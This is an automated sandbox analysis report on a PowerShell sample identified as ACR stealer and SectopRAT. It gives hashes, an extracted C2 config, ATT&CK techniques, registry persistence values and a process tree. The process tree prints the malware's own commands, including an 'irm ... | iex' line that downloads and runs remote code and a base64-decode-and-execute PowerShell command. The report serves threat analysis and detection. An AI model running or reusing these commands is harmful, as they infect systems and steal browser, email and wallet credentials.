acrstealer | b6ccbb6bd0caecc66cf62da38c3096cfc7920110003850e42eb50188a828a96c

Analysis

max time kernel
148s
max time network
147s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
29/09/2026, 12:19

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2515-4fda-8197-5f5880f00e98.ps1
Size 93KB
Sample260929-phebjazzf1
SHA256 b6ccbb6bd0caecc66cf62da38c3096cfc7920110003850e42eb50188a828a96c
MD5 8684822270190bbbab2d65891f03f936
SHA1 1c0e54e7792ca2429a87e1b6db8581803cb85883
SHA512 aa14fc325a94792fea0fc47ca8a2b80c83fe04fdc96a6b6b871a0d8976e414aa10f4268db9b776c204428f91c1dcfd8d174d86d7b5a3bcbcf2d338c1e59dd055
SSDEEP 1536:be1FJGsdpjk0oNuPtgtQCTpnF9Q90adz4zcpNpfO+GL1jfrwNdS9/qSw7ieYi:bkF8spjPyuP+JpF9Q9Pz4zWOL1jfUneu
TLSH
T1069323053B8C95E010CDDDBE0FC06CA956AEE072D3DADC9C66CF5A84AB43AFA459C474
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution acrstealer sectoprat persistence privilege_escalation rat spyware stealer trojan

Malware Config

Extracted

Family

acrstealer

Version

4.4.4-alpha1

cdn.copperfern.cc

Decoy

cloudflare.com

Attributes

ddrs
https://telegra.ph/Built-in-Types-08-01
guids
019fd851-d0e2-7805-ae09-2dd1daa78960

f1575b64-8492-4e8b-b102-4d26e8c70371
user_agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36

xor.hex

Signatures

Family: ACR stealer,GrMsk
ACR stealer (aka GrMsk stealer) is an infostealer written in C++.
stealer acrstealer
Family: SectopRAT
SectopRAT also known as Arechclient2 is a remote access trojan first seen in November 2019.
trojan rat sectoprat

Detects SectopRAT aka Arechclient2 1 IoCs

resource	yara_rule
behavioral2/memory/3204-4572-0x0000000000400000-0x000000000046C000-memory.dmp	family_sectoprat

Suspicious use of NtCreateUserProcessOtherParentProcess 1 TTPs 3 IoCs

defense_evasion privilege_escalation

Parent PID Spoofing

T1134.004

description	pid	Process	procid_target
PID 5428 created 5596	5428	rundll32.exe	82
PID 5428 created 5596	5428	rundll32.exe	82
PID 5428 created 5596	5428	rundll32.exe	82

Badlisted process makes network request 12 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
7	5176	powershell.exe
8	5176	powershell.exe
9	5428	rundll32.exe
10	5428	rundll32.exe
153	5428	rundll32.exe
154	5428	rundll32.exe
155	5428	rundll32.exe
156	5428	rundll32.exe
157	1288	powershell.exe
160	5428	rundll32.exe
162	5428	rundll32.exe
164	5252	powershell.exe

Executes dropped EXE 4 IoCs

pid	Process
2800	AutoIt3.exe
1788	AutoIt3.exe
3204	RegAsm.exe
5316	AutoIt3.exe

Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Registers new Windows logon scripts automatically executed at logon. 1 TTPs 1 IoCs

persistence

Logon Script (Windows)

T1037.001

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2304238888-3968896904-642854331-1000\Environment\UserInitMprLogonScript = "\"C:\\Users\\Admin\\AppData\\Roaming\\80f731a824ed\\AutoIt3.exe\" \"C:\\Users\\Admin\\AppData\\Roaming\\80f731a824ed\\Fabrics.a3x\""	powershell.exe

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2304238888-3968896904-642854331-1000\Software\Microsoft\Windows\CurrentVersion\Run\MicrosoftEdgeAutoLaunch_463C8B7D01921873AEF8B065326FC052 = "\"C:\\Users\\Admin\\AppData\\Roaming\\80f731a824ed\\AutoIt3.exe\" \"C:\\Users\\Admin\\AppData\\Roaming\\80f731a824ed\\Ips.a3x\""	powershell.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
5176	powershell.exe
1288	powershell.exe
5252	powershell.exe
3176	PowerShell.exe

Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
1	raw.githubusercontent.com
8	raw.githubusercontent.com

Enumerates connected drives 3 TTPs 4 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

ioc	Process
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	PowerShell.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 2800 set thread context of 3204	2800	AutoIt3.exe	166
PID 1788 set thread context of 5316	1788	AutoIt3.exe	167

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Reads the TCP/IP host and domain name from the registry 1 TTPs 5 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	AutoIt3.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	AutoIt3.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	AutoIt3.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	AutoIt3.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	rundll32.exe

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rundll32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dllhost.exe

System Time Discovery 1 TTPs 3 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
4536	chrome.exe
6052	msedge.exe
924	msedge.exe

Checks processor information in registry 2 TTPs 19 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Signature	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\CurrentPatchLevel	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe

Enumerates system info in registry 2 TTPs 9 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe

Modifies data under HKEY_USERS 7 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft	svchost.exe

Modifies registry class 5 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{A8CDFF1C-4878-43be-B5FD-F8091C1C60D0}\Instance\	msedge.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}\Instance\	msedge.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-2304238888-3968896904-642854331-1000\{A406E4B4-24A3-463E-A47F-8A8E8E54D972}	msedge.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{d3162b92-9365-467a-956b-92703aca08af}\Instance\	rundll32.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}\Instance\	rundll32.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3176	PowerShell.exe
3176	PowerShell.exe
3176	PowerShell.exe
5176	powershell.exe
5176	powershell.exe
5176	powershell.exe
5428	rundll32.exe
5428	rundll32.exe
5428	rundll32.exe
5428	rundll32.exe
5428	rundll32.exe
5428	rundll32.exe
5428	rundll32.exe
5428	rundll32.exe
5428	rundll32.exe
5428	rundll32.exe
5428	rundll32.exe
5428	rundll32.exe
5428	rundll32.exe
5428	rundll32.exe
5428	rundll32.exe
5428	rundll32.exe
5428	rundll32.exe
5428	rundll32.exe
5428	rundll32.exe
5428	rundll32.exe
5428	rundll32.exe
5428	rundll32.exe
5428	rundll32.exe
5428	rundll32.exe
5428	rundll32.exe
5428	rundll32.exe
5428	rundll32.exe
5428	rundll32.exe
5428	rundll32.exe
5428	rundll32.exe
5428	rundll32.exe
5428	rundll32.exe
5428	rundll32.exe
5428	rundll32.exe
5428	rundll32.exe
5428	rundll32.exe
5428	rundll32.exe
5428	rundll32.exe
5428	rundll32.exe
5428	rundll32.exe
5428	rundll32.exe
5428	rundll32.exe
5428	rundll32.exe
5428	rundll32.exe
5428	rundll32.exe
5428	rundll32.exe
5428	rundll32.exe
5428	rundll32.exe
5428	rundll32.exe
5428	rundll32.exe
5428	rundll32.exe
5428	rundll32.exe
5428	rundll32.exe
5428	rundll32.exe
5428	rundll32.exe
5428	rundll32.exe
5428	rundll32.exe
5428	rundll32.exe

Suspicious behavior: MapViewOfSection 1 TTPs 3 IoCs

defense_evasion privilege_escalation

Process Injection

T1055

pid	Process
5428	rundll32.exe
5428	rundll32.exe
5428	rundll32.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 18 IoCs

pid	Process
4444	chrome.exe
4444	chrome.exe
4444	chrome.exe
4444	chrome.exe
4444	chrome.exe
4444	chrome.exe
4444	chrome.exe
4444	chrome.exe
4444	chrome.exe
4444	chrome.exe
4444	chrome.exe
4444	chrome.exe
4444	chrome.exe
5572	msedge.exe
5572	msedge.exe
5572	msedge.exe
5572	msedge.exe
4588	msedge.exe

Suspicious use of AdjustPrivilegeToken 18 IoCs

description	pid	Process
Token: SeDebugPrivilege	3176	PowerShell.exe
Token: SeDebugPrivilege	5176	powershell.exe
Token: SeShutdownPrivilege	4444	chrome.exe
Token: SeCreatePagefilePrivilege	4444	chrome.exe
Token: SeShutdownPrivilege	4444	chrome.exe
Token: SeCreatePagefilePrivilege	4444	chrome.exe
Token: SeShutdownPrivilege	4444	chrome.exe
Token: SeCreatePagefilePrivilege	4444	chrome.exe
Token: SeShutdownPrivilege	4444	chrome.exe
Token: SeCreatePagefilePrivilege	4444	chrome.exe
Token: SeShutdownPrivilege	4444	chrome.exe
Token: SeCreatePagefilePrivilege	4444	chrome.exe
Token: SeShutdownPrivilege	4444	chrome.exe
Token: SeCreatePagefilePrivilege	4444	chrome.exe
Token: SeShutdownPrivilege	4444	chrome.exe
Token: SeCreatePagefilePrivilege	4444	chrome.exe
Token: SeDebugPrivilege	1288	powershell.exe
Token: SeDebugPrivilege	5252	powershell.exe

Suspicious use of FindShellTrayWindow 42 IoCs

pid	Process
4444	chrome.exe
4444	chrome.exe
4444	chrome.exe
4444	chrome.exe
4444	chrome.exe
4444	chrome.exe
4444	chrome.exe
4444	chrome.exe
4444	chrome.exe
4444	chrome.exe
4444	chrome.exe
4444	chrome.exe
4444	chrome.exe
4444	chrome.exe
4444	chrome.exe
4444	chrome.exe
4444	chrome.exe
4444	chrome.exe
4444	chrome.exe
4444	chrome.exe
4444	chrome.exe
4444	chrome.exe
4444	chrome.exe
4444	chrome.exe
4444	chrome.exe
4444	chrome.exe
4444	chrome.exe
4444	chrome.exe
4444	chrome.exe
4444	chrome.exe
4444	chrome.exe
4444	chrome.exe
4444	chrome.exe
4444	chrome.exe
5572	msedge.exe
4256	firefox.exe
2800	AutoIt3.exe
2800	AutoIt3.exe
2800	AutoIt3.exe
1788	AutoIt3.exe
1788	AutoIt3.exe
1788	AutoIt3.exe

Suspicious use of SendNotifyMessage 6 IoCs

pid	Process
2800	AutoIt3.exe
2800	AutoIt3.exe
2800	AutoIt3.exe
1788	AutoIt3.exe
1788	AutoIt3.exe
1788	AutoIt3.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3176 wrote to memory of 4620	3176	PowerShell.exe	90
PID 4620 wrote to memory of 2448	4620	csc.exe	91
PID 3176 wrote to memory of 1320	3176	PowerShell.exe	92
PID 1320 wrote to memory of 4336	1320	csc.exe	93
PID 3176 wrote to memory of 5176	3176	PowerShell.exe	94
PID 5176 wrote to memory of 5428	5176	powershell.exe	96
PID 5176 wrote to memory of 5428	5176	powershell.exe	96
PID 5428 wrote to memory of 4444	5428	rundll32.exe	97
PID 4444 wrote to memory of 4396	4444	chrome.exe	137
PID 4444 wrote to memory of 3372	4444	chrome.exe	99
PID 4444 wrote to memory of 3372	4444	chrome.exe	99
PID 4444 wrote to memory of 4536	4444	chrome.exe	100
PID 4444 wrote to memory of 4228	4444	chrome.exe	102
PID 4444 wrote to memory of 4228	4444	chrome.exe	102
PID 4444 wrote to memory of 5756	4444	chrome.exe	103
PID 4444 wrote to memory of 5756	4444	chrome.exe	103
PID 4444 wrote to memory of 4908	4444	chrome.exe	104
PID 4444 wrote to memory of 4908	4444	chrome.exe	104
PID 4444 wrote to memory of 2812	4444	chrome.exe	105
PID 4444 wrote to memory of 2812	4444	chrome.exe	105
PID 4444 wrote to memory of 3456	4444	chrome.exe	106
PID 4444 wrote to memory of 3456	4444	chrome.exe	106
PID 4444 wrote to memory of 3316	4444	chrome.exe	107
PID 4444 wrote to memory of 6096	4444	chrome.exe	108
PID 4444 wrote to memory of 5684	4444	chrome.exe	109
PID 4444 wrote to memory of 6096	4444	chrome.exe	108
PID 4444 wrote to memory of 5684	4444	chrome.exe	109
PID 4444 wrote to memory of 3268	4444	chrome.exe	111
PID 4444 wrote to memory of 3268	4444	chrome.exe	111
PID 4444 wrote to memory of 428	4444	chrome.exe	113
PID 4444 wrote to memory of 4412	4444	chrome.exe	114
PID 4444 wrote to memory of 4848	4444	chrome.exe	115
PID 4444 wrote to memory of 428	4444	chrome.exe	113
PID 4444 wrote to memory of 4412	4444	chrome.exe	114
PID 4444 wrote to memory of 4848	4444	chrome.exe	115
PID 4444 wrote to memory of 2340	4444	chrome.exe	118
PID 4444 wrote to memory of 880	4444	chrome.exe	119
PID 4444 wrote to memory of 2340	4444	chrome.exe	118
PID 4444 wrote to memory of 880	4444	chrome.exe	119
PID 4444 wrote to memory of 4124	4444	chrome.exe	120
PID 4444 wrote to memory of 4124	4444	chrome.exe	120
PID 4444 wrote to memory of 4628	4444	chrome.exe	121
PID 4444 wrote to memory of 4628	4444	chrome.exe	121
PID 4444 wrote to memory of 5720	4444	chrome.exe	122
PID 4444 wrote to memory of 5720	4444	chrome.exe	122
PID 4444 wrote to memory of 3900	4444	chrome.exe	123
PID 4444 wrote to memory of 3900	4444	chrome.exe	123
PID 4444 wrote to memory of 2080	4444	chrome.exe	124
PID 4444 wrote to memory of 2080	4444	chrome.exe	124
PID 5428 wrote to memory of 5572	5428	rundll32.exe	125
PID 5572 wrote to memory of 1656	5572	msedge.exe	126
PID 5572 wrote to memory of 4556	5572	msedge.exe	128
PID 5572 wrote to memory of 6052	5572	msedge.exe	129
PID 5572 wrote to memory of 4556	5572	msedge.exe	128
PID 5572 wrote to memory of 4556	5572	msedge.exe	128
PID 5572 wrote to memory of 1828	5572	msedge.exe	130
PID 5572 wrote to memory of 1828	5572	msedge.exe	130
PID 5572 wrote to memory of 2588	5572	msedge.exe	131
PID 5572 wrote to memory of 2588	5572	msedge.exe	131
PID 5572 wrote to memory of 2588	5572	msedge.exe	131
PID 5572 wrote to memory of 3856	5572	msedge.exe	132
PID 5572 wrote to memory of 3856	5572	msedge.exe	132
PID 5572 wrote to memory of 3856	5572	msedge.exe	132
PID 5572 wrote to memory of 1364	5572	msedge.exe	133

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\explorer.exe
explorer.exe /LOADSAVEDWINDOWS
1⤵
PID:5596
- C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe
  powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\2515-4fda-8197-5f5880f00e98.ps1
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Enumerates connected drives
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3176
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\sk4cusk0\sk4cusk0.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4620
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES9FF4.tmp" "c:\Users\Admin\AppData\Local\Temp\sk4cusk0\CSCC70F84396CCC4A0FA33523C6BAA3AD4.TMP"
      4⤵
      PID:2448
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\0bv4ynmg\0bv4ynmg.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1320
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESA95A.tmp" "c:\Users\Admin\AppData\Local\Temp\0bv4ynmg\CSC2E56BA35556144D8BD14F2A1294BD2A5.TMP"
      4⤵
      PID:4336
- - C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NoProfile -Command [Net.ServicePointManager]::SecurityProtocol = [Net.ServicePointManager]::SecurityProtocol -bor [Net.SecurityProtocolType]::Tls12; irm rawcdn.githack.com/dsteru3421/4f77-bdc8-7e8087412ccf/refs/heads/main/4b04-9f4f-bc75a03ee342 | iex
    3⤵
    - Badlisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Enumerates connected drives
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:5176
  - - C:\Windows\SysWOW64\rundll32.exe
      "C:\Windows\SysWOW64\rundll32.exe"
      4⤵
      Suspicious use of NtCreateUserProcessOtherParentProcess
      Badlisted process makes network request
      Reads the TCP/IP host and domain name from the registry
      System Location Discovery: System Language Discovery
      Modifies registry class
      Suspicious behavior: EnumeratesProcesses
      Suspicious behavior: MapViewOfSection
      Suspicious use of WriteProcessMemory
      PID:5428
    - - C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\Sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "$b=[Console]::In.ReadToEnd();$s=[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($b));& ([scriptblock]::Create($s))"
        5⤵
        Badlisted process makes network request
        Registers new Windows logon scripts automatically executed at logon.
        Command and Scripting Interpreter: PowerShell
        Enumerates connected drives
        Suspicious use of AdjustPrivilegeToken
        
        PID:1288
    - - C:\Windows\SysWOW64\dllhost.exe
        
        "C:\Windows\SysWOW64\dllhost.exe"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:2740
    - - C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\Sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "$b=[Console]::In.ReadToEnd();$s=[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($b));& ([scriptblock]::Create($s))"
        5⤵
        Badlisted process makes network request
        Adds Run key to start application
        Command and Scripting Interpreter: PowerShell
        Enumerates connected drives
        Suspicious use of AdjustPrivilegeToken
        
        PID:5252
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --no-first-run --no-default-browser-check
  2⤵
  - Enumerates system info in registry
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of WriteProcessMemory
  PID:4444
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x12c,0x130,0x134,0x108,0x138,0x7ffb9988c728,0x7ffb9988c734,0x7ffb9988c740
    3⤵
    PID:4396
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1628,i,7992348366790812128,2219826137597080424,262144 --field-trial-handle=1920,i,7014804499723447464,8830748096082019028,262144 --variations-seed-version --mojo-platform-channel-handle=1916 /prefetch:2
    3⤵
    PID:3372
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=1500,i,7803928300445958742,16937141833882692169,524288 --field-trial-handle=1920,i,7014804499723447464,8830748096082019028,262144 --variations-seed-version --mojo-platform-channel-handle=2252 /prefetch:11
    3⤵
    - System Time Discovery
    PID:4536
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2332,i,14344066129113373731,567289697503697392,524288 --field-trial-handle=1920,i,7014804499723447464,8830748096082019028,262144 --variations-seed-version --mojo-platform-channel-handle=2760 /prefetch:13
    3⤵
    PID:4228
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3232,i,4122885565605496731,5273983599514292206,2097152 --field-trial-handle=1920,i,7014804499723447464,8830748096082019028,262144 --variations-seed-version --mojo-platform-channel-handle=3240 /prefetch:1
    3⤵
    PID:5756
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3244,i,5026083319462854589,5089108211513474759,2097152 --field-trial-handle=1920,i,7014804499723447464,8830748096082019028,262144 --variations-seed-version --mojo-platform-channel-handle=3276 /prefetch:1
    3⤵
    PID:4908
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=4468,i,13685693302299562812,6658964228274417885,2097152 --field-trial-handle=1920,i,7014804499723447464,8830748096082019028,262144 --variations-seed-version --mojo-platform-channel-handle=4516 /prefetch:1
    3⤵
    PID:2812
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=4628,i,8770660205486288658,9823248817692329099,524288 --field-trial-handle=1920,i,7014804499723447464,8830748096082019028,262144 --variations-seed-version --mojo-platform-channel-handle=4644 /prefetch:14
    3⤵
    PID:3456
